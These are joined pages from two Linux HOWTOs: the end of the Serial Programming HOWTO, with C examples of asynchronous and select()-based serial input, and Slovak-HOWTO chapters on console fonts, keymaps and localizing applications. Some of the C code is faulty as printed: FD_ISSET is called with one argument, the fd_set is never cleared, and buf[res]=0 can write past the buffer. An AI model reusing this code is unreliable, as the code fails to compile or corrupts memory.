      {
        int fd,c, res;
        struct termios oldtio,newtio;
        struct sigaction saio;           /* definition of signal action */
        char buf[255];

        /* open the device to be non-blocking (read will return immediatly) */
        fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY | O_NONBLOCK);
        if (fd <0) {perror(MODEMDEVICE); exit(-1); }

        /* install the signal handler before making the device asynchronous */
        saio.sa_handler = signal_handler_IO;
        saio.sa_mask = 0;
        saio.sa_flags = 0;
        saio.sa_restorer = NULL;
        sigaction(SIGIO,&saio,NULL);

        /* allow the process to receive SIGIO */
        fcntl(fd, F_SETOWN, getpid());
        /* Make the file descriptor asynchronous (the manual page says only
           O_APPEND and O_NONBLOCK, will work with F_SETFL...) */
        fcntl(fd, F_SETFL, FASYNC);

        tcgetattr(fd,&oldtio); /* save current port settings */
        /* set new port settings for canonical input processing */
        newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD;
        newtio.c_iflag = IGNPAR | ICRNL;
        newtio.c_oflag = 0;
        newtio.c_lflag = ICANON;
        newtio.c_cc[VMIN]=1;
        newtio.c_cc[VTIME]=0;
        tcflush(fd, TCIFLUSH);
        tcsetattr(fd,TCSANOW,&newtio);

        /* loop while waiting for input. normally we would do something
           useful here */
        while (STOP==FALSE) {
          printf(".\n");usleep(100000);
          /* after receiving SIGIO, wait_flag = FALSE, input is available
             and can be read */
          if (wait_flag==FALSE) {
            res = read(fd,buf,255);
            buf[res]=0;
            printf(":%s:%d\n", buf, res);
            if (res==1) STOP=TRUE; /* stop loop if only a CR was input */
            wait_flag = TRUE;      /* wait for new input */
          }
        }
        /* restore old port settings */
        tcsetattr(fd,TCSANOW,&oldtio);
      }

      /***************************************************************************
      * signal handler. sets wait_flag to FALSE, to indicate above loop that     *
      * characters have been received.                                           *
      ***************************************************************************/

      void signal_handler_IO (int status)
      {
        printf("received SIGIO signal.\n");
        wait_flag = FALSE;
      }

3.4. Waiting for Input from Multiple Sources

This section is kept to a minimum. It is just intended to be a hint, and therefore the example code is kept short. This will not only work with serial ports, but with any set of file descriptors.

The select call and accompanying macros use a fd_set. This is a bit array, which has a bit entry for every valid file descriptor number. select will accept a fd_set with the bits set for the relevant file descriptors and returns a fd_set, in which the bits for the file descriptors are set where input, output, or an exception occurred. All handling of fd_set is done with the provided macros. See also the manual page select(2).

      #include <sys/time.h>
      #include <sys/types.h>
      #include <unistd.h>

      main()
      {
        int    fd1, fd2;  /* input sources 1 and 2 */
        fd_set readfs;    /* file descriptor set */
        int    maxfd;     /* maximum file desciptor used */
        int    loop=1;    /* loop while TRUE */

        /* open_input_source opens a device, sets the port correctly, and
           returns a file descriptor */
        fd1 = open_input_source("/dev/ttyS1");   /* COM2 */
        if (fd1<0) exit(0);
        fd2 = open_input_source("/dev/ttyS2");   /* COM3 */
        if (fd2<0) exit(0);
        maxfd = MAX (fd1, fd2)+1;  /* maximum bit entry (fd) to test */

        /* loop for input */
        while (loop) {
          FD_SET(fd1, &readfs);  /* set testing for source 1 */
          FD_SET(fd2, &readfs);  /* set testing for source 2 */
          /* block until input becomes available */
          select(maxfd, &readfs, NULL, NULL, NULL);
          if (FD_ISSET(fd1))         /* input from source 1 available */
            handle_input_from_source1();
          if (FD_ISSET(fd2))         /* input from source 2 available */
            handle_input_from_source2();
        }
      }

The given example blocks indefinitely, until input from one of the sources becomes available. If you need to timeout on input, just replace the select call by:
        int res;
        struct timeval Timeout;

        /* set timeout value within input loop */
        Timeout.tv_usec = 0;  /* milliseconds */
        Timeout.tv_sec  = 1;  /* seconds */
        res = select(maxfd, &readfs, NULL, NULL, &Timeout);
        if (res==0)
        /* number of file descriptors with input = 0, timeout occurred. */

This example will timeout after 1 second. If a timeout occurs, select will return 0, but beware that Timeout is decremented by the time actually waited for input by select. If the timeout value is zero, select will return immediatly.

Prev | Home | Next
Getting started |  | Other Sources of Information


Other Sources of Information

Serial Programming HOWTO
Prev

4. Other Sources of Information

  • The Linux Serial-HOWTO describes how to set up serial ports and contains hardware information.

  • Serial Programming Guide for POSIX Compliant Operating Systems, by Michael Sweet.

  • The manual page termios(3) describes all flags for the termios structure.

Prev | Home
Program Examples |


Poslovenčovanie konkrétnych aplikácií

Slovak-HOWTO
Predchádzajúci Ďalší

6. Poslovenčovanie konkrétnych aplikácií

Čím ďalej, tým viac programov obsahuje bezproblémovú podporu jazykov iných ako angličtina. Napriek tomu je ešte pár balíkov, ktoré buď používajú vlastné rozloženia kláves, alebo je treba nastaviť nejaké tie fonty či premenné. V tejto kapitole si popíšeme tie aplikácie, v ktorých je pre rozbehanie slovenčiny po naištalovaní nutné urobiť viac ako export LANG=sk.

Ak chcete naozaj plnohodnotne využívať podporu národných nastavení, vždy sa uistite, že program, ktorý používate (alebo celá distribúcia), nie je starší ako 6 - 12 mesiacov. Je totiž možné, že autori pridali túto podporu len v novších verziách.

Niektoré z nasledovných popisov nie sú pôvodné a niektoré nemusia byť ani odskúšané. Preto je pri každom uvedený autor a jeho adresa a prípadný zdroj, z ktorého sa návod dostal do Slovak-HOWTO.

6.1. Bash

Viď Readline.

Ján 'judas' Tomka, <judas@linux.sk>

Bash máva nepravidelne problém pri zmene premennej LC_CTYPE a zvykne sa stať, že znaky s diakritikou sa nevypisujú napriek správnemu nastaveniu tejto premennej. Zatiaľ sa mi nepodarilo zistiť, kde je chyba, lebo napríklad Vim spustený z takéhoto Bashu funguje správne... Zatiaľ to riešim príkazom
bash$ exec bash

Aktuálny shell sa nahradí novým, ktorý už premennú LC_CTYPE pochopí správne a je už možné zadávať aj znaky s diakritikou.

6.2. Joe

Ján Ondrej (SAL), <ondrejj@salstar.shadow.sk>

Ak chcete používať národné prostredie, potrebujete mať nainštalovanú slovenskú klávesnicu, slovenský font a navyše musíte povoliť zobrazovanie znakov s ASCII kódom 128-255 tak, ako sú (as is). To môžete spraviť zmazaním medzery pred voľbou -asis v konfiguračnom súbore joerc. Najčastejšie ho nájdete v adresári /usr/lib/joe/, v Debiane je v adresári /etc/. Ďalšou možnosťou je pridanie parametra -asis pri spúšťaní programu.

6.3. Lynx

Ján 'judas' Tomka, <judas@linux.sk>

V konfigurácii Lynxu sa lokalizácie týkajú hlavne tieto nastavenia:

  • Display character set (CHARACTER_SET) --- kódovanie znakov na výstupe. Toto hovorí o tom, do akej znakovej sady sa budú prevádzať znaky pred zobrazením na vašej obrazovke. Ak máte štandardne nastavený slovenský font, môžete mať toto vždy nastavené na ISO-8859-2.

  • Assumed document character set (ASSUME_CHARSET) --- aká znaková sada sa má použiť, ak html dokument neobsahuje informáciu o svojom kódovaní a nastavenie Raw 8-bit je vypnuté. HTTP štandardom je ISO-8859-1 takže tak. Väčšinou majú dokumenty s iným kódovaním ako ISO-8859-1 informáciu o svojej znakovej sade, vtedy sa toto nastavenie neberie do úvahy. Ak chcete, aby sa dokumenty, ktoré nemajú explicitne danú sadu znakov, považovali za súbory s kódovaním Latin 2, nastavte si túto premennú. Možno ju nastaviť len v súbore /etc/lynx.cfg (teda nie pre každého užívateľa zvlášť).

  • Raw 8-bit --- s týmto sa veľmi trápiť nemusíte, len v prípade, že sa slovenské znaky nezobrazujú správne, sa vždy uistite, že to máte zapnuté (klávesovou skratkou @).

Konfiguračný súbor /etc/lynx.cfg upravte, aby obsahoval minimálne prvý riadok z
CHARACTER_SET:iso-8859-2
ASSUME_CHARSET:iso-8859-2

...alebo, pre užívateľský konfiguračný súbor ~/.lynxrc:
character_set=Eastern European (ISO-8859-2)

6.4. Mandrake 8

Viď RPM4.

Ján 'judas' Tomka, <judas@linux.sk>

6.4.1. NLSPATH

Ak inštalujete aplikácie, ktorých súbory s preloženými hláseniami (*.mo) sa po inštalácii nenachádzajú v adresárovej štruktúre pod /usr/share/locale/, odstráňte zo súboru /etc/profile riadok
export NLSPATH=/usr/share/locale/%l/%N

Vraj je ten riadok nutný pre level1 compliance for LI18NUX2000, man a staršie programy, ale kašľať na štandardy a starý šrot, keď to funguje len bez tej premennej. Samozrejme, ak vám to funguje aj s ňou, zabudnite na mňa.

V prípade, že nemôžete meniť /etc/profile, vložte si do svojho ~/.profile riadok
unset NLSPATH

6.4.2. SYSFONTACM

Pre správnu funkciu fontov je nutné okrem LC_CTYPE a SYSFONT nastaviť aj premennú SYSFONTACM v súbore /etc/sysconfig/i18n. No ak máte vlastný úžívateľský súbor ~/.i18n, globálny sa nenačíta a premenná SYSFONTACM sa nenastaví. Preto vždy vložte do svojho užívateľského súboru riadok:
SYSFONTACM=iso02

Na vine je skript /etc/profile.d/lang.sh, pretože ten pošle na terminál Escape sekvenciu zavedenia užívateľského fontu len v prípade, že je nastavená premenná SYSFONTACM. Tak si ju nastavte, alebo si to nejako opravte!

6.5. Midnight Commander

Ján Ondrej (SAL), <ondrejj@salstar.shadow.sk>

Jeho lokalizácia je jednoduchá, pretože ju priamo podporuje. Klávesou F9 vyvoláte menu Options->Display bits... a zapnite voľby:
(*) Full 8 bits output
[x] Full 8 bits input

Po tomto kroku bude MC vypisovať diakritické znaky správne a bude ich možné aj zadávať z klávesnice. Ak sa pri vstupe do niektorých adresárov bude zobrazovať hláška „Warning: Couldn't change to ...“, tak potrebujete lokalizovať knižnicu readline (iba pre staršie RedHat systémy).

Rámčeky v MC (judas). Ak používate console-tools, pre správnu funkciu rámčekov v Midnight Commander a podobných textových aplikáciách nastavte font s application charset map. U mňa funguje jedine táto kombinácia:
sh$ consolechars --font lat2u-16 --acm iso02

6.6. Mutt

Ján 'judas' Tomka, <judas@linux.sk>

Miestnych nastavení sa týkajú v konfiguračnom súbore ~/.muttrc nasledovné premenné:

  • ascii_chars -- Ak je nastavená, Mutt použije znaky ASCII pri zobrazovaní vláken stromov pripojených súborov, namiesto znakov ASC. To odporúčam, ak máte nastavený starší font bez podpory app-charset-map a namiesto čiar a šípiek sa vám zobrazujú znaky s diakritikou, alebo tieto znaky blikajú ap.

  • charset -- Znaková sada, ktorú používa váš terminál na zobrazovanie a vkladanie textových dát. Nastaviť na kód znakovej sady fontu, ktorý máte nastavený na konzole alebo v XTerme, atď.

  • send_charset --

6.7. Readline

Ján 'judas' Tomka, <judas@linux.sk>

V súbore s globálnymi nastaveniami /etc/inputrc alebo vo svojom užívateľskom súbore ~/.inputrc je pre správnu interpretáciu osembitových znakov nastaviť tieto premenné:

  • convert-meta --- Ak je nastavená na `on', Readline konvertuje znaky s nastaveným ôsmym bitom na sekvenciu znakov ASCII odstránením ôsmeho bitu a pridaním znaku Esc na začiatok.

  • input-meta --- Ak je nastavená na `on', Readline umožní osembitový vstup (neodstráni ôsmy bit z prečítaných znakov) bez ohľadu na to, či to terminál podporuje. Meno meta-flag je synonymom pre túto premennú.

  • output-meta --- Ak je nastavená na `on', Readline bude zobrazovať znaky s nastaveným ôsmym bitom priamo a nie ako escape sekvencie.

Takže, do jedného zo spomínaných súborov vložte takéto nastavenia:
set convert-meta off
set input-meta on
set output-meta on

6.8. RPM4

Ján 'judas' Tomka, <judas@linux.sk>

Tento malý skriptík „doinštaluje“ slovenské preklady všetkých aplikácií, ktoré máte nainštalované. Môžu vám chýbať, ak ste pri inštalácii operačného systému nezvolili slovenský jazyk.

export RPM_INSTALL_LANG=sk
cd /mnt/cdrom/Mandrake/RPMS/
for i in *.rpm; do
    j=$(rpm -q --queryformat "%{NAME}" -p $i)
    if rpm -q $j; then
        rpm -Uvh --replacepkgs $i
    fi
done

Už nikdy nezabudnite nastaviť premennú RPM_INSTALL_LANG!

6.9. Rxvt

Ján 'judas' Tomka, <judas@linux.sk>

Náprava toho, že Rxvt vypisuje mŕtvy kláves priamo a nečaká na ďalší znak, s ktorým by ho skombinoval, je otázka jedného argumentu pri konfigurovaní:
sh$ ./configure --enable-xim
sh$ make
sh$ su -c'make install'

Týmto sa Rxvt skompiluje s podporou pre XIM (X Input Method) protokol. Ten umožňuje alternatívne metódy vstupu (napr. kinput2) a tiež správne nastavenia pre ľudí, čo používajú mŕtve klávesy.

6.10. Samba

Ján Ondrej (SAL), <ondrejj@salstar.shadow.sk>

Po nastavení lokalizácie dokáže automaticky prekódovať znaky s diakritikou z kódovania 852 na ISO-8859-2. Nastavuje sa to v konfiguračnom súbore /etc/smb.conf pridaním nasledujúcich riadkov do sekcie [global]:
character set = iso8859-2
client code page = 852

Predchádzajúci | Domov | Ďalší
Slovenčina a linuxový kernel |  | Fintičky so slovenčinou


Nastavenia konzoly

Slovak-HOWTO
Predchádzajúci Ďalší

3. Nastavenia konzoly

Táto kapitola by mala čítavou, poučnou a zároveň zábavnou formou pojednávať o veciach medzi prstom a okom. Základnou otázkou nech nám je „Zmysel života, vesmíru a vôbec.“

3.1. Slovenčina na výstupe textovej konzoly

3.1.1. Fonty

Keď zobudíte o polnoci hocikoho, kto vo svojom živote videl počítač a opýtate sa ho, ako rozbehať slovenské znaky, určite spomenie niečo ako fonty. Na zobrazovanie znakov na obrazovku -- či už v textovom alebo grafickom režime -- slúžia skutočne fonty. Fonty pre konzolu a programy určené na manipuláciu s nimi sa nachádzajú v balíku kbd. Po jeho nainštalovaní sú súbory s fontami umiestnené v adresári /usr/lib/kbd/consolefonts/.

Pre nás sú dôležité najmä súbory, ktoré majú v mene iso02, lat2, latin2 alebo číslo 852. To naznačuje, že ide o fonty s podporou ISO-8859-2 (latin2), prípadne DOS codepage 852, čo sú štandardy aj pre slovenskú diakritiku.

Pozor, pôvodný balík sa volá kbd, ale existuje jeho rozšírená verzia, ktorá sa objavuje v distribúciách -- console-tools. Rozdiely medzi nimi sú minimálne, pre kbd budeme používať príkaz setfont, pre console-tools zase consolechars. Taktiež, názvy dodávaných fontov sa trochu odlišujú, takže budem uvádzať ekvivalenty pre oba balíky.

3.1.2. Ako fonty fungujú

Existuje niekoľko súborových formátov na ukladanie fontov, princíp je však rovnaký -- súbor obsahuje 256 obrázkov (glyphs), z ktorých všetky majú rovnaký rozmer (napr. 8x16 bodov -- veľkosť fontu) a každý zobrazuje jeden znak.

Aby nám tých 256 obrázkov bolo na niečo dobrých, je treba font zo súboru zaviesť do znakového generátora videokarty. Na to slúži jeden z príkazov

kbd:

setfont meno-fontu

console-tools:

consolechars -f meno-fontu

meno-fontu môže byť absolútna alebo relatívna cesta k súboru s fontom, alebo meno súboru, pokiaľ sa nachádza v adresári /usr/lib/kbd/consolefonts/, či už s príponou, alebo bez.

Pre ľahšie pochopenie tých obrázkov, skúste nahradiť meno-fontu reťazcom t850 a sledujte výsledok na všetkých virtuálnych konzolách.

Naspäť k štandardnému fontu sa vždy dostanete jedným z príkazov

kbd:

sh$ setfont

console-tools:

sh$ consolechars -d

Čo sa presne deje? Program setfont/consolechars zavedie všetkých 256 obrázkov do znakového generátora EGA/VGA karty. Od tohto momentu sa na všetkých konzolách bude znak s ASCII kódom napr. 65 vykreslovať ako šesdesiaty piaty obrázok z našeho súboru s fontom. Ešte raz pripomínam a dvakrát podčiarkujem, že font je vždy rovnaký pre všetky virtuálne konzoly, na ktorých zobrazuje znaky ten istý znakový generátor EGA/VGA karty.

Dôležité je uvedomiť si, že interne ide naozaj len o obrázky a tvar niektorého znaku vo fonte nemá nič spoločného s jeho ASCII kódom. Ak by ste si sami vytvorili nejaký font (v dokumentácii ku kbd/console-tools máte informácie o všetkých formátoch), v ktorom by mal ten šesdesiaty piaty obrázok tvar písmena z, po jeho natiahnutí sa vám bude pri zadaní Alt-6-5, čo je ASCII kód písmena A, zobrazovať znak z. Ale ak tento znak uložíte do súboru, v tomto sa bude nachádzať bajt s hodnotou 65, teda písmeno A.

3.1.3. Fonty ISO-8859-2

Toto využíva štandard ISO-8859-2 (a iné) - spoločné znaky s ASCII vykreslí rovnako a znaky špecifické pre tú ktorú abecedu „namapuje“ na menej používané znaky ASCII tabuľky. Kam presne ktorá norma umiestňuje znaky s diakritikou, nás zaujímať nemusí (pokiaľ nevytvárame vlastné fonty), hlavné je, že napr. anglický text je nezmenený (angličtina má všetky znaky spoločné so slovenčinou) a slovenský text už viac neobsahuje hlúpe znaky, ktoré so slovenčinou nemajú nič spoločné.

Slovenské (ISO-8859-2) fonty, ktoré sú súčasťou balíkov kbd a console-tools:

kbd:

lat2-{08,10,12,14,16}, lat2a-16, iso02.{08,14,16}

console-tools:

lat2-{08,10,12,14,16}, lat2u-16, iso02.f{08,14,16}

Na zavedenie fontu použite príkaz

kbd:

sh$ setfont meno-zo-zoznamu

console-tools:

sh$ consolechars -f meno-zo-zoznamu

Odporúčam používať lat2a-16, resp. lat2u-16. Ostatné fonty majú bezchybné zobrazovanie slovenských znakov, problém však nastáva pri aplikáciách, ktoré využívajú znaky na kreslenie rámčekov (napr. mc).

Čo sa týka fontov iso02.* z balíka kbd, treba pri nich použiť argument príkazu setfont -m latin2u.trans. Takže celý príkaz na zavedenie niektorého z týchto fontov je:

kbd:

sh$ setfont iso02.16 -m latin2u.trans

console-tools:

sh$ consoletrans -f lat2u-16 -m iso02

V súbore latin2u.trans (iso02.acm) sa nachádza tzv. Aplication-Charset Map (ACM), akási prevodná tabuľka, ktorá obsahuje riadok pre každý znak fontu a jeho podobu v kódovaní UTF-8.

3.1.4. Automatické zavádzanie fontov

Ak ste si našli svoj font, ktorý chcete používať a mať ho automaticky zavedený vždy pri štarte, nie je nič ľahšie. Inicializačný skript rc.sysinit robí asi toto: skontroluje, či existuje súbor /etc/sysconfig/i18n a program (skript) /sbin/setsysfont. Ak áno, spustí setsysfont. Ten načíta /etc/sysinfo/i18n a podľa premenných definovaných v tomto súbore príkazom consolechars alebo setfont zavedie font.

Takže stačí nastaviť správne premenné v súbore /etc/sysconfig/i18n a skript /sbin/setsysfont urobí všetko za nás. Tento skript možno spustiť kedykoľvek chcete zaviesť font nastavený ako štandardný pre systém.

Premenné v súbore /etc/sysinit/i18n sú (používajte len mená súborov bez cesty a bez prípony!):

kbd:

SYSFONT=lat2a-16

console-tools:

SYSFONT=lat2u-16
SYSFONTACM=iso02

Skriptík setsysfont obsahujú oba balíky a kedykoľvek môžete zaviesť font nastavený ako systémový v súbore /etc/sysinit/i18n jednoduchým zadaním
sh$ /sbin/setsysfont

Podľa toho, čo sme si hovorili o tom, že pre všetky virtuálne konzoly môže byť nastavený len jeden spoločný font, nemá veľký zmysel zavádzať nastavovanie fontu zvlášť pre každého užívateľa. S tým súvisí aj fakt, že nastavenie fontu sa vzťahuje k danému počítaču, pri ktorom práve sedíte a nie k tomu, ku ktorému ste pripojení napr. cez ssh.

Predsa len si viem predstaviť prípad, keď niektorý z viacerých používateľov jedného počítača potrebuje odlišný font. V tom prípade môže vložiť príkaz na zavádzanie fontov do svojich skriptov, ktoré vykonáva shell pri prihlásení a odhlásení. Pre bash by to mohlo vyzerať takto:

~/.bash_profile:

if tty 2>/dev/null |grep '/dev/tty[0-9]*$' &>/dev/null && ! [ -f ~/.font ]; then
    setfont -o ~/.font gr928a-8x16
fi

~/.bash_logout:

if tty 2>/dev/null |grep '/dev/tty[0-9]*$' &>/dev/null && [ -f ~/.font ]; then
    setfont ~/.font
    rm -f ~/.font
fi

Vonkoncom to nie je ideálne riešenie, ale svoj účel splní (minimálne po moment prvého odhlásenia). Trochu sa s tým pozabávajte, aby sa font (a rozloženie kláves) menilo len pri prvom prihlásení a poslednom odhlásení, tiež setfont pod iXami nemá veľmi zmysel a tak... V Tips-HOWTO je uvedený spôsob, ako zistiť, na koľkých virtuálnych konzolách je ešte užívateľ prihlásený.

Ináč, aby bolo jasné, toto vám bude fungovať len na lokálnom stroji - zamyslite sa, prečo asi setfont (aj loadkeys) nefunguje cez vzdialený terminál a či by ste z toho niečo mali, keby to tak nebolo.

Ak to s takýmto riešením myslíte vážne, tak skôr uvažujte nad modifikáciou skriptu /etc/profile.d/lang.sh, kde by sa kontroloval aj obsah užívateľského súboru ~/.i18n a podľa toho by sa zaviedol skript, popis rozloženia kláves, prípadne nejaké premenné...

3.2. Slovenská klávesnica na textovej konzole

Keď je slovenský font na konzole rozbehaný a naše národné znaky sa zobrazujú správne, máme so slovenčinou problém číslo dva - ako tam tie znaky dostať? Keby ste si chceli tento súbor len prečítať bez potreby následnej navštevy psychiatra, stačilo by zaviesť nejaký font so slovenskou podporou. Ale keďže ste uvedomelý linuxák / uvedomelá linuxáčka, hneď chcete do Slovak-HOWTO prispieť a pomocou klávesnice písať slovenský text. Na to potrebujete s tou klávesnicou niečo urobiť.

3.2.1. Popis rozloženia kláves (keymap)

Adresáre /usr/lib/kbd/keymaps/i386/qwertz/ a qwerty/ obsahujú po nainštalovaní balíka kbd/console-tools aj popisy slovenského rozloženia kláves. Pre nás sú zaujímavé súbory

sk-prog-qwerty.map.gz
sk-qwerty.map.gz
sk-prog-qwertz.map.gz
sk-qwertz.map.gz

Tieto súbory obsahujú definície rozloženia kláves pre slovenský jazyk, pričom rozdiely medzi nimi sú v umiestnení kláves Y a Z a počte slovenských znakov, ktoré pomocou nich možno napísať priamo (bez mŕtvych kláves). Najviac sa na slovenský písací stroj podobá sk-qwertz, najmenšie zmeny oproti americkej klávesnici sú zase v sk-prog-qwerty.

Súbory v adresári /usr/lib/kbd/keymaps/i386/include/ obsahujú popis základných rozložení kláves (azerty , qwerty, qwertz ), prídavných kláves (keypad, windowkeys), prípadne problémových kláves ( delete, backspace, ctrl ). Súbory linux-*.inc.gz sú špecifické pre linux (teda nie pre jazyk). Sú to napr. kľúče (F1-F12, kombinovaním s Ctrl a Shift až po F48), Shift-PgUp a Shift -PgDown, atď.

Keymapy *.inc.gz nepopisujú kompletné rozloženie klávesnice, ale len niektorých jej častí. Využívajú sa pri pripájaní (include) zo súborov *.map.gz, čo je výhodné z dôvodu jednoduchšej konfigurácie klávesnice. Napríklad zmenou jedného riadku v súbore s rozložením sk-qwerty môžme dostať rozloženie qwertz, prípadne (to asi využijete) jednoducho odstaviť znaky euro a cent, ktoré (zatiaľ?) nepotrebujeme a zbytočne nám zaberajú znaky E a C.

Na zavedenie súboru s popisom rozloženia kláves slúži nasledovný príkaz:

loadkeys nazov

kde nazov môže byť absolútna alebo relatívna cesta ku keymap súboru, alebo meno súboru, pokiaľ sa nachádza v adresári /usr/lib/kbd/keymaps/, či už s príponou, alebo bez.

Štandardné slovenské popisy rozloženia kláves nájdeme vo vyššie spomínaných *.map.gz súboroch. Ak sa chcete vrátiť k štandardnému rozloženiu, príkaz
sh$ loadkeys -d
zavedie pôvodné, ktoré je uložené v súbore defkeymap.map.gz niekde medzi ostatnými keymap súbormi. Predtým ale nikdy nezabudnite zmeniť režim slovenskej klávesnice na US znaky, tzn. 1 dáva 1 a nie + atď. Ak by ste predsa zabudli, je možné, že klávesy, kde sa nachádzali slovenské znaky, nebudú fungovať správne (v skutočnosti budú fungovať správne, ale vám sa to nebude páčiť). Vtedy znovu zaveďte predchadzájúcu keymapu (na nefunkčné klávesy použite AltGr - pravý Alt) a klávesou Pause/Break všetko napravíte. Potom môžete znova zaviesť defkeymap.

Pokiaľ sa vám nepáči ani jeden zo štandardných keymap súborov pre slovenčinu, čo je pravdepodobné vďaka riadku
include "euro"
v include súboroch qwerty-layout.inc.gz aj qwertz-layout.inc.gz, môžete kľudne pozmeniť existujúci súbor s popisom rozloženia kláves, prípadne vytvoriť nový. Nebojte sa, je to zložité! Nebudem to tu rozpisovať všetko, prezrite si zopár kmap súborov, prečítajte manuálovú stránku keymaps(5) a mali by ste to ľahko pochopiť.

My si povieme len o základných veciach, ktoré nám pomôžu pozmeniť existujúce kmap súbory s popismi slovenských klávesníc, aby ste si poradili s (mne známymi) komplikáciami, alebo upravili rozloženie kláves podľa svojho gusta.

3.2.2. Include a nesprávna funkcia kláves E a C

Problém s E a C je spôsobený zavedením jednotnej meny v európskej únii. Na vine nie je ani tak EU, ale niekto, kto symboly pre euro a cent umiestnil na AltGr-E a AltGr-C, čo sú naše obyčajné E a C. Totiž, národné klávesnice sú väčšinou riešené tak, že po zavedení súboru naďalej funguje americké rozloženie a na prepínanie do národného režimu sa používa klávesa Pause, alebo môžme zadávať národné klávesy pri súčasnom držaní klávesy AltGr (pravý Alt). Súbor euro.inc, ktorý definuje tieto dva problémové symboly, je pripojený zo súboru qwerty-layout.inc, ktorý zase pripájajú samotné slovenské keymapy (sk-qwerty, sk-prog-qwertz, …).

Riešenie je veľmi jednoduché - zeditujete qwerty-layout.inc (alebo qwertz-layout.inc) a odkomentujete znakom # riadok
include "euro"

3.2.3. Keycode a definovanie kláves

Predchádzajúci problém s eurom možno vyriešiť aj definovaním znakov E a C v samotnom súbore sk-qwerty.kmap.gz (alebo inom, ktorý používate) pomocou slova keycode:
keycode 18 = e
keycode 46 = c

V keymap súboroch je pre každú klávesu (alebo aspoň pre každú, ktorú chceme predefinovať) jeden riadok približne tohto razenia:
keycode 3 = two at lcaron two nul nul nul nul Meta_two Meta_two...

Číslo za keycode označuje určitú klávesu a reťazce za = hovoria o tom, aký znak má ovládač klávesnice generovať pri stlačení tejto klávesy, a to buď samotnej, alebo v kombinácii so špeciálnymi klávesmi Shift, AltGr, Control, Alt, ShiftL, ShiftR, Ctrl a CtrlR. To nám dáva 256 možných znakov na každú klávesu.

Väčšinou sa pozmeňuje len prvých 16 kombinácií modifikátorov. To je význam riadku
keymaps 0-15
na začiatku kmap súborov.

V nasledujúcom zozname je týchto 16 kombinácií (po riadkoch):

žiadny | Shift | AltGr | Shift-AltGr
Control | Shift-Control | AltGr-Control | Shift-AltGr-Control
Alt | Shift-Alt | AltGr-Alt | Shift-AltGr-Alt
Control-Alt | Shift-Control-Alt | AltGr-Control-Alt | Shift-AltGr-Control-Alt

Z hľadiska slovenskej klávesnice sú dôležité len prvé štyri - prvé dva sú zvyčajne nezmenené americké znaky, napr. two at, čo je 2 @, a druhé dva sú znaky slovenskej abecedy, ktoré bude ovládač klávesnice posielať aplikáciám ak pri stlačení tejto klávesy budeme súčasne držať klávesu AltGr (pravý Alt), napr. lcaron two, čo je naše ľ 2.

Aby ste mohli vkladať slovenské znaky, nemusíte celý čas pridržiavať AltGr nosom, ale môžete použiť Pause/Break, ktorý v kontexte s národnými klávesnicami funguje ako AltGr Lock. Chápte to tak, že keď sa prepnete do slovenského režimu stlačením Pause/Break, prvé a druhé dva reťazce v každom riadku keycode sa vymenia, napr.
two at lcaron two -> lcaron two two at

Vtedy môžete použiť AltGr na zadávanie znakov americkej klávesnice, alebo sa opätovným stlačením Pause/Break prepnúť spät do US režimu.

Riadok pre klávesu s kódom 41 (znaky ` a ~), má v súbore sk-qwerty.map.gz nasledovný tvar:
keycode 41 = grave asciitilde dead_diaeresis dead_circumflex ...

Mne osobne sa nepáči, že sú tu umiestnené mŕtve klávesy dead_diaeresis (dve bodky nad znakom) a dead_circumflex (mäkčeň), pretože ich nepotrebujem --- ä aj ô na slovenskej klávesnici predsa je. A keby aj nebolo, na ich písanie môžem kľudne použiť mŕtvy kláves mäkčeň. O tom si bližšie povieme v časti o compose sekvenciách. Teraz chcem mať na tomto mieste znaky ; (semicolon) a ° (degree) tak, ako je to na popiske mojej klávesnice. Zmením teda riadok takto:
keycode 41 = grave asciitilde semicolon degree ...

Ináč, ten stupeň asi nie je stupeň, ale mŕtvy znak krúžku nad písmenom, napr. v češtine nad u, ale taký kláves je nám fakt nanič. Radšej budeme písať stupne.

Názvy znakov, ktoré sa používajú pri definovaní jednotlivých kláves si môžete pre znaky ASCII zistiť v súbore us.map.gz. Číselné kódy všetkých kláves vám vypľuje program

showkey

Pravidlá pre názvy znakov špecifických pre slovenčinu v kmap súboroch:

  1. Prvé písmeno v názve určuje ASCII znak, pre ktorý chceme použiť diakritiku.

  2. K nemu pridáme identifikátor diakritického znamienka:

    caron --- mäkčeň
    acute --- dĺžeň
    diaeresis --- dve bodky nad
    circumflex --- vokáň

    Napríklad:

    scaron = š
    uacute = ú
    Ocircumflex = Ô

Názvy ďalších znakov špecifických pre slovenčinu:

0xa7 --- § (paragraf)
degree --- ° stupeň

Pre správnu interpretáciu identifikátorov znakov s diakritikou je nutné na začiatku kmap súboru určiť kódovú stránku, pre ktorú bude určený tento popis rozloženia kláves. Ide o to, že ten istý znak môže mať v rôznych kódových stránkach iný ASCII kód. Implicitná hodnota je iso-8859-1, teda pre slovenské keymapy je nutné vložiť riadok:
charset "iso-8859-2"

Ešte jeden príklad: ak chcete používať slovenské rozloženie qwertz a americké rozloženie qwerty, potrebujete vymeniť znaky Y a Z:
keycode 21 = y Y z Z
keycode 44 = z Z y Y

Na prvý pohľad to môže fungovať dobre, ale problém sa prejaví pri zapnutom Caps Lock - znaky Y a Z sa stále píšu malými písmenami. Pri písaní popisov rozložení znakov možno takýto problém ošetriť pridaním písmena + pred každé písmeno v keycode riadku danej klávesy. Písmeno + určuje nasledovnému písmenu atribút letter, teda sa bude pri stlačenom Caps Lock písať veľké písmeno. Všetky písmená a-z, A-Z majú tento atribút priradený automaticky, ale to len v prípade, že majú keycode riadok tvaru:
keycode 21 = y

V našom prípade teda musíme priradiť tento atribút všetkým znakom explicitne. Takže, konečná úprava keymapy bude:
keycode 21 = +y +Y +z +Z
keycode 44 = +z +Z +y +Y

Pre výmenu písmen toto riešenie funguje spoľahlivo, bohužiaľ, ešte stále neexistuje spôsob, ktorým by sa dalo dosiahnuť napríklad písanie veľkých písmen s diakritikou pri zapnutom Caps Lock jednoduchým stláčaním ich kláves, ako je to v slovenskom popise rozloženia kláves pre X Window System.

3.2.4. Mŕtve klávesy a sekvencie compose

S mŕtvymi klávesami súvisia v kmap súboroch riadky tvaru
compose 'c1' 'c2' to 'c3'

